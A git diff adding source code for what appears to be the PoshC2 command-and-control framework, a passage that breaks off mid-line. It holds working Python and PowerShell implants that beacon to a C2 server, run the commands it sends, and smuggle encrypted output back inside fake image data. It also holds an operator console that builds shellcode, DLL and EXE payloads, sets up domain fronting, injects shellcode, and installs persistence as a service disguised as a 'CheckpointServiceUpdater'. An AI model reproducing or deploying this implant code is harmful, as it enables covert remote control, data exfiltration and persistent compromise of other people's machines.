self.Alive = "Yes" + self.UserAgent = get_defaultuseragent() + self.Sleep = get_defaultbeacon() + self.ModsLoaded = "" + self.Pivot = pivot + self.KillDate = get_killdate() + self.ServerURL = new_serverurl = select_item("HostnameIP", "C2Server") + self.AllBeaconURLs = get_otherbeaconurls() + self.AllBeaconImages = get_images() + self.PythonCore = """import urllib2, os, subprocess, re, datetime, time, base64, string, random + +timer = %s +icoimage = [%s] +urls = [%s] +killdate = "%s" +useragent = "" + +def get_encryption( key, iv='0123456789ABCDEF' ): + from Crypto.Cipher import AES + aes = AES.new( base64.b64decode(key), AES.MODE_CBC, iv ) + return aes + +def decrypt( key, data ): + iv = data[0:16] + aes = get_encryption(key, iv) + data = aes.decrypt( base64.b64decode(data) ) + return data[16:] + +def decrypt_bytes_gzip( key, data): + iv = data[0:16] + aes = get_encryption(key, iv) + data = aes.decrypt( data ) + import StringIO + import gzip + infile = StringIO.StringIO(data[16:]) + with gzip.GzipFile(fileobj=infile, mode="r") as f: + data = f.read() + return data + +def encrypt( key, data, gzip=False ): + if gzip: + import StringIO + import gzip + out = StringIO.StringIO() + with gzip.GzipFile(fileobj=out, mode="w") as f: + f.write(data) + data = out.getvalue() + mod = len(data) %% 16 + if mod != 0: + newlen = len(data) + (16-mod) + data = data.ljust( newlen, '\\0' ) + aes = get_encryption(key) + data = aes.IV + aes.encrypt( data ) + if not gzip: + data = base64.b64encode( data ) + return data + +while(True): + # kill date stuff to add here + key = "%s" + uri = "%s" + serverclean = "%s" + server = "%%s/%%s%%s" %% (serverclean, random.choice(urls), uri) + try: + time.sleep(timer) + o = urllib2.build_opener() + o.addheaders = [('User-Agent', '%s')] + response = o.open(server) + html = response.read() + except Exception as e: + E = e + #print "error %%s" %% e + #print html + if html: + try: + returncmd = decrypt( key, html ) + returncmd = returncmd.rstrip('\\0') + if "multicmd" in returncmd: + returncmd = returncmd.replace("multicmd","") + split = returncmd.split("!d-3dion@LD!-d") + for cmd in split: + print cmd + if "$sleeptime" in cmd: + timer = int(cmd.replace("$sleeptime = ","")) + else: + returnval = subprocess.check_output(cmd, shell=True) + print returnval + server = "%%s/%%s%%s" %% (serverclean, random.choice(urls), uri) + opener = urllib2.build_opener() + postcookie = encrypt(key, cmd) + data = base64.b64decode(random.choice(icoimage)) + dataimage = data.ljust( 1500, '\\0' ) + dataimagebytes = dataimage+(encrypt(key, returnval, gzip=True)) + opener.addheaders.append(('Cookie', "SessionID=%%s" %% postcookie)) + urllib2.install_opener(opener) + req = urllib2.Request(server, dataimagebytes) + response = urllib2.urlopen(req) + + except Exception as e: + E = e + #print "error %%s" %% e + w = \"\"""" % (self.Sleep, self.AllBeaconImages, self.AllBeaconURLs, self.KillDate, self.Key, self.RandomURI, self.ServerURL, self.UserAgent) + self.C2Core = """ +$key="%s" +$global:sleeptime = '%s' + +$payloadclear = @" +[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true} +`$s="$s" +`$sc="$sc" +function DEC {${function:DEC}} +function ENC {${function:ENC}} +function CAM {${function:CAM}} +function Get-Webclient {${function:Get-Webclient}} +function Primer {${function:primer}} +`$primer = primer +if (`$primer) {`$primer| iex} else { +start-sleep 1800 +primer | iex } +"@ + +$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($payloadclear) +$CompressedStream = New-Object IO.MemoryStream +$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress) +$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length) +$DeflateStream.Dispose() +$CompressedScriptBytes = $CompressedStream.ToArray() +$CompressedStream.Dispose() +$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes) +$NewScript = "sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(`"$EncodedCompressedScript`"),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()" +$UnicodeEncoder = New-Object System.Text.UnicodeEncoding +$EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript)) +$payloadraw = "powershell -exec bypass -Noninteractive -windowstyle hidden -e $($EncodedPayloadScript)" +$payload = $payloadraw -replace "`n", "" + +function GetImgData($cmdoutput) { + $icoimage = @(%s) + + try {$image = $icoimage|get-random}catch{} + + function randomgen + { + param ( + [int]$Length + ) + $set = "...................@..........................Tyscf".ToCharArray() + $result = "" + for ($x = 0; $x -lt $Length; $x++) + {$result += $set | Get-Random} + return $result + } + $imageBytes = [Convert]::FromBase64String($image) + $maxbyteslen = 1500 + $maxdatalen = 1500 + ($cmdoutput.Length) + $imagebyteslen = $imageBytes.Length + $paddingbyteslen = $maxbyteslen - $imagebyteslen + $BytePadding = [System.Text.Encoding]::UTF8.GetBytes((randomgen $paddingbyteslen)) + $ImageBytesFull = New-Object byte[] $maxdatalen + [System.Array]::Copy($imageBytes, 0, $ImageBytesFull, 0, $imageBytes.Length) + [System.Array]::Copy($BytePadding, 0, $ImageBytesFull,$imageBytes.Length, $BytePadding.Length) + [System.Array]::Copy($cmdoutput, 0, $ImageBytesFull,$imageBytes.Length+$BytePadding.Length, $cmdoutput.Length ) + $ImageBytesFull +} +function Create-AesManagedObject($key, $IV) { + $aesManaged = New-Object "System.Security.Cryptography.RijndaelManaged" + $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC + $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros + $aesManaged.BlockSize = 128 + $aesManaged.KeySize = 256 + if ($IV) { + if ($IV.getType().Name -eq "String") { + $aesManaged.IV = [System.Convert]::FromBase64String($IV) + } + else { + $aesManaged.IV = $IV + } + } + if ($key) { + if ($key.getType().Name -eq "String") { + $aesManaged.Key = [System.Convert]::FromBase64String($key) + } + else { + $aesManaged.Key = $key + } + } + $aesManaged +} + +function Encrypt-String($key, $unencryptedString) { + $bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString) + $aesManaged = Create-AesManagedObject $key + $encryptor = $aesManaged.CreateEncryptor() + $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length); + [byte[]] $fullData = $aesManaged.IV + $encryptedData + #$aesManaged.Dispose() + [System.Convert]::ToBase64String($fullData) +} +function Encrypt-Bytes($key, $bytes) { + [System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream + $gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress) + $gzipStream.Write( $bytes, 0, $bytes.Length ) + $gzipStream.Close() + $bytes = $output.ToArray() + $output.Close() + $aesManaged = Create-AesManagedObject $key + $encryptor = $aesManaged.CreateEncryptor() + $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length) + [byte[]] $fullData = $aesManaged.IV + $encryptedData + $fullData +} +function Decrypt-String($key, $encryptedStringWithIV) { + $bytes = [System.Convert]::FromBase64String($encryptedStringWithIV) + $IV = $bytes[0..15] + $aesManaged = Create-AesManagedObject $key $IV + $decryptor = $aesManaged.CreateDecryptor(); + $unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16); + #$aesManaged.Dispose() + [System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0) +} +function Encrypt-String2($key, $unencryptedString) { + $unencryptedBytes = [system.Text.Encoding]::UTF8.GetBytes($unencryptedString) + $CompressedStream = New-Object IO.MemoryStream + $DeflateStream = New-Object System.IO.Compression.GzipStream $CompressedStream, ([IO.Compression.CompressionMode]::Compress) + $DeflateStream.Write($unencryptedBytes, 0, $unencryptedBytes.Length) + $DeflateStream.Dispose() + $bytes = $CompressedStream.ToArray() + $CompressedStream.Dispose() + $aesManaged = Create-AesManagedObject $key + $encryptor = $aesManaged.CreateEncryptor() + $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length) + [byte[]] $fullData = $aesManaged.IV + $encryptedData + $fullData +} +function Decrypt-String2($key, $encryptedStringWithIV) { + $bytes = $encryptedStringWithIV + $IV = $bytes[0..15] + $aesManaged = Create-AesManagedObject $key $IV + $decryptor = $aesManaged.CreateDecryptor() + $unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16) + $output = (New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$unencryptedData)), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd() + $output + #[System.Text.Encoding]::UTF8.GetString($output).Trim([char]0) +} +[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} + +$URI= "%s" +$Server = "$s/%s" +$ServerClean = "$sc" +while($true) +{ + $ServerURLS = "$($ServerClean)","$($ServerClean)" + $date = (Get-Date -Format "dd/MM/yyyy") + $date = [datetime]::ParseExact($date,"dd/MM/yyyy",$null) + $killdate = [datetime]::ParseExact("%s","dd/MM/yyyy",$null) + if ($killdate -lt $date) {exit} + $sleeptimeran = $sleeptime, ($sleeptime * 1.1), ($sleeptime * 0.9) + $newsleep = $sleeptimeran|get-random + if ($newsleep -lt 1) {$newsleep = 5} + start-sleep $newsleep + $URLS = %s + $RandomURI = Get-Random $URLS + $ServerClean = Get-Random $ServerURLS + $G=[guid]::NewGuid() + $Server = "$ServerClean/$RandomURI$G/?$URI" + try { $ReadCommand = (Get-Webclient).DownloadString("$Server") } catch {} + + while($ReadCommand) { + $RandomURI = Get-Random $URLS + $ServerClean = Get-Random $ServerURLS + $G=[guid]::NewGuid() + $Server = "$ServerClean/$RandomURI$G/?$URI" + try { $ReadCommandClear = Decrypt-String $key $ReadCommand } catch {} + $error.clear() + if (($ReadCommandClear) -and ($ReadCommandClear -ne "fvdsghfdsyyh")) { + if ($ReadCommandClear.ToLower().StartsWith("multicmd")) { + $splitcmd = $ReadCommandClear -replace "multicmd","" + $split = $splitcmd -split "!d-3dion@LD!-d" + foreach ($i in $split){ + $RandomURI = Get-Random $URLS + $ServerClean = Get-Random $ServerURLS + $G=[guid]::NewGuid() + $Server = "$ServerClean/$RandomURI$G/?$URI" + $error.clear() + if ($i.ToLower().StartsWith("upload-file")) { + try { + $Output = Invoke-Expression $i | out-string + $Output = $Output + "123456PS " + (Get-Location).Path + ">654321" + if ($ReadCommandClear -match ("(.+)Base64")) { $result = $Matches[0] } + $ModuleLoaded = Encrypt-String $key $result + $Output = Encrypt-String2 $key $Output + $UploadBytes = getimgdata $Output + (Get-Webclient -Cookie $ModuleLoaded).UploadData("$Server", $UploadBytes)|out-null + } catch { + $Output = "ErrorUpload: " + $error[0] + } + } elseif ($i.ToLower().StartsWith("download-file")) { + try { + Invoke-Expression $i | Out-Null + } + catch { + $Output = "ErrorLoadMod: " + $error[0] + } + } elseif ($i.ToLower().StartsWith("loadmodule")) { + try { + $modulename = $i -replace "LoadModule","" + $Output = Invoke-Expression $modulename | out-string + $Output = $Output + "123456PS " + (Get-Location).Path + ">654321" + $ModuleLoaded = Encrypt-String $key "ModuleLoaded" + $Output = Encrypt-String2 $key $Output + $UploadBytes = getimgdata $Output + (Get-Webclient -Cookie $ModuleLoaded).UploadData("$Server", $UploadBytes)|out-null + } catch { + $Output = "ErrorLoadMod: " + $error[0] + } + } else { + try { + $Output = Invoke-Expression $i | out-string + $Output = $Output + "123456PS " + (Get-Location).Path + ">654321" + $StdError = ($error[0] | Out-String) + if ($StdError){ + $Output = $Output + $StdError + $error.clear() + } + } catch { + $Output = "ErrorCmd: " + $error[0] + } + try { + $Output = Encrypt-String2 $key $Output + $Response = Encrypt-String $key $i + $UploadBytes = getimgdata $Output + (Get-Webclient -Cookie $Response).UploadData("$Server", $UploadBytes)|out-null + } catch{} + } + } + } + elseif ($ReadCommandClear.ToLower().StartsWith("upload-file")) { + try { + $Output = Invoke-Expression $ReadCommandClear | out-string + $Output = $Output + "123456PS " + (Get-Location).Path + ">654321" + if ($ReadCommandClear -match ("(.+)Base64")) { $result = $Matches[0] } + $ModuleLoaded = Encrypt-String $key $result + $Output = Encrypt-String2 $key $Output + $UploadBytes = getimgdata $Output + (Get-Webclient -Cookie $ModuleLoaded).UploadData("$Server", $UploadBytes)|out-null + } catch { + $Output = "ErrorUpload: " + $error[0] + } + + } elseif ($ReadCommandClear.ToLower().StartsWith("download-file")) { + try { + Invoke-Expression $ReadCommandClear | Out-Null + } + catch { + $Output = "ErrorLoadMod: " + $error[0] + } + } elseif ($ReadCommandClear.ToLower().StartsWith("loadmodule")) { + try { + $modulename = $ReadCommandClear -replace "LoadModule","" + $Output = Invoke-Expression $modulename | out-string + $Output = $Output + "123456PS " + (Get-Location).Path + ">654321" + $ModuleLoaded = Encrypt-String $key "ModuleLoaded" + $Output = Encrypt-String2 $key $Output + $UploadBytes = getimgdata $Output + (Get-Webclient -Cookie $ModuleLoaded).UploadData("$Server", $UploadBytes)|out-null + } catch { + $Output = "ErrorLoadMod: " + $error[0] + } + + } else { + try { + $Output = Invoke-Expression $ReadCommandClear | out-string + $Output = $Output + "123456PS " + (Get-Location).Path + ">654321" + $StdError = ($error[0] | Out-String) + if ($StdError){ + $Output = $Output + $StdError + $error.clear() + } + } catch { + $Output = "ErrorCmd: " + $error[0] + } + try { + $Output = Encrypt-String2 $key $Output + $UploadBytes = getimgdata $Output + (Get-Webclient -Cookie $ReadCommand).UploadData("$Server", $UploadBytes)|out-null + } catch {} + } + $ReadCommandClear = $null + $ReadCommand = $null + } + break + } +}""" % (self.Key, self.Sleep, self.AllBeaconImages, self.RandomURI, self.RandomURI, self.KillDate, self.AllBeaconURLs) +#Add all db elements + + def display(self): + print Colours.GREEN,"" + print "New %s implant connected: (uri=%s key=%s)" % (self.Pivot, self.RandomURI, self.Key) + print "%s | URL:%s | Time:%s | PID:%s | Sleep:%s | %s (%s) " % (self.IPAddress, self.Proxy, self.FirstSeen, + self.PID, self.Sleep, self.Domain, self.Arch) + print "",Colours.END + + try: + sound = select_item("Sounds","C2Server") + if sound == "Yes": + import pyttsx3 + engine = pyttsx3.init() + rate = engine.getProperty('rate') + voices = engine.getProperty('voices') + engine.setProperty('voice', "english-us") + engine.setProperty('rate', rate-30) + engine.say("Nice, we have an implant") + engine.runAndWait() + except Exception as e: + EspeakError = "espeak error" + + try: + apikey = select_item("APIKEY","C2Server") + mobile = select_item("MobileNumber","C2Server") + + #import httplib, urllib + #conn = httplib.HTTPSConnection("api.pushover.net:443") + #conn.request("POST", "/1/messages.json", + # urllib.urlencode({ + # "token": "", + # "user": "", + # "message": "NewImplant: %s @ %s" % (self.User,self.Hostname), + # }), { "Content-type": "application/x-www-form-urlencoded" }) + #conn.getresponse() + + if apikey and mobile: + for number in mobile.split(","): + number = number.replace('"','') + url = "https://api.clockworksms.com/http/send.aspx?key=%s&to=%s&from=PoshC2&content=NewImplant:%s\%s @ %s" % (apikey, number, self.Domain,self.User,self.Hostname) + url = url.replace(" ","+") + response = urllib2.urlopen(url) + except Exception as e: + print "SMS send error: %s" % e + + def save(self): + new_implant(self.RandomURI, self.User, self.Hostname, self.IPAddress, self.Key, self.FirstSeen, self.FirstSeen, self.PID, self.Proxy, self.Arch, self.Domain, self.Alive, self.Sleep, self.ModsLoaded, self.Pivot) + + def autoruns(self): + new_task("loadmodule Implant-Core.ps1", self.RandomURI) + update_mods("Implant-Core.ps1", self.RandomURI) + result = get_autoruns() + if result: + autoruns = "" + for autorun in result: + new_task(autorun[1], self.RandomURI) \ No newline at end of file diff --git a/ImplantHandler.py b/ImplantHandler.py new file mode 100644 index 0000000..54e0968 --- /dev/null +++ b/ImplantHandler.py @@ -0,0 +1,908 @@ +#!/usr/bin/python + +import os, time, readline, base64, re, traceback, glob, sys, argparse, shlex, signal +import datetime +from datetime import datetime, timedelta +from sqlite3 import Error +from Help import * +from AutoLoads import * +from DB import * +from Colours import * +from Config import * +from HTML import * +from TabComplete import * +from Payloads import * +from Core import * + +def catch_exit(signum, frame): + sys.exit(0) + +def argp(cmd): + args = "" + try: + parser = argparse.ArgumentParser(add_help=False) + parser.add_argument('-Help', '-help', '-h', action='store', dest='help', required=False) + parser.add_argument('-Source', '-source', action='store', dest='source', required=True) + parser.add_argument('-Destination', '-destination', action='store', dest='destination', required=True) + args, unknown = parser.parse_known_args(shlex.split(cmd)) + except: + error = "error" + return args + +def filecomplete(text, state): + return (glob.glob(text+'*')+[None])[state] + +def complete(text, state): + for cmd in COMMANDS: + if cmd.startswith(text): + if not state: + return cmd + else: + state -= 1 + +def load_file( location ): + fr = None + try: + file = open((location), "rb") + fr = file.read() + except Exception as e: + print "Error loading file %s" % e + + if fr: + return fr + else: + return None + +def migrate(randomuri, params=""): + implant = get_implantdetails(randomuri) + implant_arch = implant[10] + implant_comms = implant[15] + + if implant_arch == "AMD64": + arch = "64" + else: + arch = "86" + + if implant_comms == "Normal": + shellcodefile = load_file("%s/payloads/Posh-shellcode_x%s.bin" % (ROOTDIR,arch)) + elif implant_comms == "Daisy": + daisyname = raw_input("Name required: ") + shellcodefile = load_file("%s/payloads/%sPosh-shellcode_x%s.bin" % (ROOTDIR,daisyname,arch)) + elif implant_comms == "Proxy": + shellcodefile = load_file("%s/payloads/ProxyPosh-shellcode_x%s.bin" % (ROOTDIR,arch)) + + check_module_loaded("Inject-Shellcode.ps1", randomuri) + new_task("$Shellcode%s=\"%s\"" % (arch,base64.b64encode(shellcodefile)), randomuri) + new_task("Inject-Shellcode -Shellcode ([System.Convert]::FromBase64String($Shellcode%s))%s" % (arch, params), randomuri) + +def startup(printhelp = ""): + try: + if os.name == 'nt': + os.system('cls') + else: + os.system('clear') + except Exception as e: + print "cls" + print chr(27) + "[2J" + print Colours.GREEN,"" + print logo + print Colours.END,"" + + try: + ii = get_implants() + if ii: + for i in ii: + ID = i[0] + RandomURI = i[1] + LastSeen = i[7] + Hostname = i[3] + DomainUser = i[11] + Arch = i[10] + PID = i[8] + Pivot = i[15] + Sleep = i[13] + if Pivot == "Daisy": Pivot = "D" + elif Pivot == "Proxy": Pivot = "P" + else: Pivot = "" + + from datetime import datetime, timedelta + LastSeenTime = datetime.strptime(LastSeen,"%m/%d/%Y %H:%M:%S") + now = datetime.now() + nowplus10 = now - timedelta(minutes=10) + nowplus60 = now - timedelta(minutes=59) + + if nowplus60 > LastSeenTime: + print Colours.RED,"[%s]: Seen:%s | PID:%s | S:%s | %s @ %s (%s) %s" % (ID, LastSeen, PID, Sleep, DomainUser, Hostname, Arch, Pivot) + elif nowplus10 > LastSeenTime: + print Colours.YELLOW,"[%s]: Seen:%s | PID:%s | S:%s | %s @ %s (%s) %s" % (ID, LastSeen, PID, Sleep, DomainUser, Hostname, Arch, Pivot) + else: + print Colours.GREEN,"[%s]: Seen:%s | PID:%s | S:%s | %s @ %s (%s) %s" % (ID, LastSeen, PID, Sleep, DomainUser, Hostname, Arch, Pivot) + else: + from datetime import datetime, timedelta + now = datetime.now() + print Colours.RED,"No Implants as of: %s" % now.strftime("%m/%d/%Y %H:%M:%S") + print Colours.END,"" + if printhelp: + print printhelp + + t = tabCompleter() + t.createListCompleter(PRECOMMANDS) + readline.set_completer_delims('\t') + readline.parse_and_bind("tab: complete") + readline.set_completer(t.listCompleter) + history = get_history_dict() + if history: + for command in history: + try: + readline.add_history(command[1]) + except: + pass + + implant_id = raw_input("Select ImplantID or ALL or Comma Separated List (Enter to refresh):: ") + print "" + + if implant_id: + try: + last = get_lastcommand() + if last: + if last != implant_id: + new_commandhistory(implant_id) + else: + new_commandhistory(implant_id) + except Exception as e: + ExError = e + + if (implant_id == "") or (implant_id.lower() == "back") or (implant_id.lower() == "clear"): + startup() + + if "output-to-html" in implant_id.lower(): + generate_table("CompletedTasks") + generate_table("C2Server") + generate_table("Creds") + generate_table("Implants") + graphviz() + time.sleep(1) + startup() + + if "add-autorun" in implant_id.lower(): + autorun = (implant_id.lower()).replace("add-autorun ","") + autorun = autorun.replace("add-autorun","") + add_autorun(autorun) + startup("add-autorun: %s\r\n" % autorun) + if "list-autorun" in implant_id.lower(): + autoruns = get_autorun() + startup(autoruns) + if "del-autorun" in implant_id.lower(): + autorun = (implant_id.lower()).replace("del-autorun ","") + del_autorun(autorun) + startup("deleted autorun\r\n") + if "nuke-autorun" in implant_id.lower(): + del_autoruns() + startup("nuked autoruns\r\n") + if (implant_id.lower() == "automigrate-frompowershell") or (implant_id.lower() == "am"): + startup("automigrate not currently implemented for the Python version of PoshC2\r\n") + if "show-serverinfo" in implant_id.lower(): + details = get_c2server_all() + startup(details) + if "turnoff-sms" in implant_id.lower(): + update_item("MobileNumber", "C2Server", "") + startup("Turned off SMS on new implant") + if "set-clockworksmsapikey" in implant_id.lower(): + cmd = (implant_id.lower()).replace("set-clockworksmsapikey ","") + cmd = cmd.replace("set-clockworksmsapikey","") + update_item("MobileNumber", "C2Server", cmd) + startup("Updated set-clockworksmsapikey: %s\r\n" % cmd) + if "set-clockworksmsnumber" in implant_id.lower(): + cmd = (implant_id.lower()).replace("set-clockworksmsnumber ","") + cmd = cmd.replace("set-clockworksmsnumber","") + update_item("APIKEY", "C2Server", cmd) + startup("Updated set-clockworksmsnumber (Restart C2 Server): %s\r\n" % cmd) + if "set-defaultbeacon" in implant_id.lower(): + cmd = (implant_id.lower()).replace("set-defaultbeacon ","") + cmd = cmd.replace("set-defaultbeacon","") + update_item("DefaultSleep", "C2Server", cmd) + startup("Updated set-defaultbeacon (Restart C2 Server): %s\r\n" % cmd) + if "opsec" in implant_id.lower(): + implants = get_implants_all() + comtasks = get_completedtasks() + hosts = "" + uploads = "" + for i in implants: + if i[3] not in hosts: + hosts += "%s \n" % i[3] + for t in comtasks: + if "Upload-File" in t[3]: + hostname = get_implantdetails(t[2]) + uploads += "%s %s \n" % (hostname[3], t[3]) + startup("Hosts Compromised: %s\nFiles Uploaded: \n%s" % (hosts, uploads)) + if "listmodules" in implant_id.lower(): + mods = "" + for modname in os.listdir("%s/Modules/" % POSHDIR): + mods += "%s\r\n" % modname + startup(mods) + if "creds" in implant_id.lower(): + startup("creds module not implemented yet") + + if (implant_id.lower() == "pwnself" ) or (implant_id.lower() == "p"): + startup("Cannot pwnself on Unix :)\r\n") + + if (implant_id.lower() == "tasks" ) or (implant_id.lower() == "tasks "): + alltasks = "" + tasks = get_nettasks_all() + if tasks is None: + startup("No tasks queued!\r\n") + else: + for task in tasks: + imname = get_implantdetails(task[1]) + alltasks += "(%s) %s\r\n" % ("%s" % (imname[11]),task[2]) + startup("Queued tasks:\r\n\r\n%s" % alltasks) + + if (implant_id.lower() == "cleartasks" ) or (implant_id.lower() == "cleartasks "): + drop_nettasks() + startup("Empty tasks queue\r\n") + + if "quit" in implant_id.lower(): + ri = raw_input("Are you sure you want to quit? (Y/n) ") + if ri.lower() == "n": + startup() + if ri == "": + sys.exit(0) + if ri.lower() == "y": + sys.exit(0) + + if "createdaisypayload" in implant_id.lower(): + name = raw_input("Daisy name: e.g. DC1 ") + daisyurl = raw_input("Daisy host: .e.g. http://10.150.10.1 ") + daisyport = raw_input("Daisy port: .e.g. 8888 ") + daisyhostid = raw_input("Select Daisy Implant Host: e.g. 5 ") + daisyhost = get_implantbyid(daisyhostid) + proxynone = "if (!$proxyurl){$wc.Proxy = [System.Net.GlobalProxySelection]::GetEmptyWebProxy()}" + + C2 = get_c2server_all() + newPayload = Payloads(C2[5], C2[2], daisyurl, "", daisyport, "", "", "", + "", proxynone, C2[19], C2[20], + C2[21], "%s?d" % get_newimplanturl(), PayloadsDirectory) + newPayload.C2Core = (newPayload.C2Core).replace("$pid;%s" % (daisyurl+":"+daisyport),"$pid;%s@%s" % (daisyhost[11],daisyhost[3])) + newPayload.CreateRaw(name) + newPayload.CreateDlls(name) + newPayload.CreateShellcode(name) + newPayload.CreateEXE(name) + startup("Created new %s daisy payloads" % name) + + if "createproxypayload" in implant_id.lower(): + proxyuser = raw_input("Proxy User: e.g. Domain\\user ") + proxypass = raw_input("Proxy Password: e.g. Password1 ") + proxyurl = raw_input("Proxy URL: .e.g. http://10.150.10.1:8080 ") + update_item("ProxyURL", "C2Server", proxyurl) + update_item("ProxyUser", "C2Server", proxyuser) + update_item("ProxyPass", "C2Server", proxypass) + C2 = get_c2server_all() + newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], + C2[13], C2[11], "", "", C2[19], C2[20], + C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory) + + newPayload.CreateRaw("Proxy") + newPayload.CreateDlls("Proxy") + newPayload.CreateShellcode("Proxy") + newPayload.CreateEXE("Proxy") + startup("Created new proxy payloads") + + if "createnewpayload" in implant_id.lower(): + domain = raw_input("Domain or URL: https://www.example.com ") + domainbase = (domain.lower()).replace('https://','') + domainbase = domainbase.replace('http://','') + domainfront = raw_input("Domain front URL: e.g. fjdsklfjdskl.cloudfront.net ") + proxyuser = raw_input("Proxy User: e.g. Domain\\user ") + proxypass = raw_input("Proxy Password: e.g. Password1 ") + proxyurl = raw_input("Proxy URL: .e.g. http://10.150.10.1:8080 ") + if proxyurl: + imurl = "%s?p" % get_newimplanturl() + else: + imurl = get_newimplanturl() + C2 = get_c2server_all() + newPayload = Payloads(C2[5], C2[2], domain, domainfront, C2[8], proxyuser, + proxypass, proxyurl, "", "", C2[19], C2[20], + C2[21], imurl, PayloadsDirectory) + + newPayload.CreateRaw("%s_" % domainbase) + newPayload.CreateDlls("%s_" % domainbase) + newPayload.CreateShellcode("%s_" % domainbase) + newPayload.CreateEXE("%s_" % domainbase) + startup("Created new payloads") + + if (implant_id == "?") or (implant_id == "help"): + startup(pre_help) + + if (implant_id.lower() == "history") or implant_id.lower() == "history ": + startup(get_history()) + + if "use " in implant_id.lower(): + implant_id = implant_id.replace("use ","") + params = re.compile("use ", re.IGNORECASE) + implant_id = params.sub("", implant_id) + + commandloop(implant_id) + except Exception as e: + traceback.print_exc() + print "Error: %s" % e + print "Currently no valid implants: sleeping for 10 seconds" + time.sleep(10) + startup() + +def runcommand(command, randomuri): + if command: + try: + last = get_lastcommand() + if last: + if last != command: + new_commandhistory(command) + else: + new_commandhistory(command) + except Exception as e: + ExError = e + + implant_type = get_implanttype(randomuri) + if implant_type == "OSX": + if 'sleep' in command.lower() or 'beacon' in command.lower() or 'set-beacon' in command.lower() or 'setbeacon' in command.lower(): + command = command.replace('set-beacon ', '') + command = command.replace('setbeacon ', '') + command = command.replace('sleep ', '') + command = command.replace('beacon ', '') + try: + if "s" in command: + command = command.replace('s', '') + if "h" in command: + command = command.replace('h', '') + command = (int(command)) * 60 + command = (int(command)) * 60 + if "m" in command: + command = command.replace('m', '') + command = (int(command)) * 60 + except Exception as e: + print "Error setting beacon: %s" % e + + sleep = '$sleeptime = %s' % command + update_sleep(command, randomuri) + new_task(sleep, randomuri) + + elif "kill-implant" in command.lower(): + pid = get_pid(randomuri) + new_task("kill -9 %s" % pid,randomuri) + kill_implant(randomuri) + + elif (command == "back") or (command == "clear") or (command == "back ") or (command == "clear "): + startup() + + else: + if command: + new_task(command, randomuri) + return + + else: + try: + check_module_loaded("Implant-Core.ps1", randomuri) + except Exception as e: + print "Error loading Implant-Core.ps1: %s" % e + + run_autoloads(command, randomuri) + + if 'sleep' in command or ('beacon' in command.lower() and '-beacon' not in command.lower()) or 'set-beacon' in command.lower() or 'setbeacon' in command.lower(): + new_task(command, randomuri) + command = command.replace('set-beacon ', '') + command = command.replace('setbeacon ', '') + command = command.replace('sleep ', '') + command = command.replace('beacon ', '') + update_sleep(command, randomuri) + + elif (command == "back") or (command == "clear") or (command == "back ") or (command == "clear "): + startup() + + elif "install-servicelevel-persistencewithproxy" in command.lower(): + C2 = get_c2server_all() + if C2[11] == "": + startup("Need to run createproxypayload first") + else: + newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], + C2[13], C2[11], "", "", C2[19], C2[20], + C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory) + payload = newPayload.CreateRawBase() + cmd = "sc.exe create CPUpdater binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceUpdater start= auto" % (payload) + new_task(cmd, randomuri) + + elif "install-servicelevel-persistence" in command.lower(): + C2 = get_c2server_all() + newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], "", + "", "", "", "", C2[19], C2[20], + C2[21], get_newimplanturl(), PayloadsDirectory) + payload = newPayload.CreateRawBase() + cmd = "sc.exe create CPUpdater binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceUpdater start= auto" % (payload) + new_task(cmd, randomuri) + + elif "remove-servicelevel-persistence" in command.lower(): + new_task("sc.exe delete CPUpdater", randomuri) + + # psexec lateral movement + elif "get-implantworkingdirectory" in command.lower(): + new_task("pwd", randomuri) + + elif "get-system-withproxy" in command.lower(): + C2 = get_c2server_all() + if C2[11] == "": + startup("Need to run createproxypayload first") + else: + newPayload = Payloads(C2[5], C2[2], C2[1], C2[3], C2[8], C2[12], + C2[13], C2[11], "", "", C2[19], C2[20], + C2[21], "%s?p" % get_newimplanturl(), PayloadsDirectory) + payload = newPayload.CreateRawBase() + cmd = "sc.exe create CPUpdaterMisc binpath= 'cmd /c powershell -exec bypass -Noninteractive -windowstyle hidden -e %s' Displayname= CheckpointServiceModule start= auto" % payload + new_task(cmd, randomuri) + cmd = "sc.exe start CPUpdaterMisc" + new_task(cmd, randomuri) + cmd = "sc.exe delete CPUpdaterMisc" + new_task(cmd, randomuri) + + elif "get-system-withdaisy" in command.lower(): + C2 = get_c2server_all() + daisyname = raw_input("Payload name required: ") + if os.path.isfile(("%s%spayload.bat" % (PayloadsDirectory,daisyname))): + with open("%s%spayload.bat" % (PayloadsDirectory,daisyname), "r") as p: payload = p.read() + cmd = "sc.exe create CPUpdaterMisc binpath= 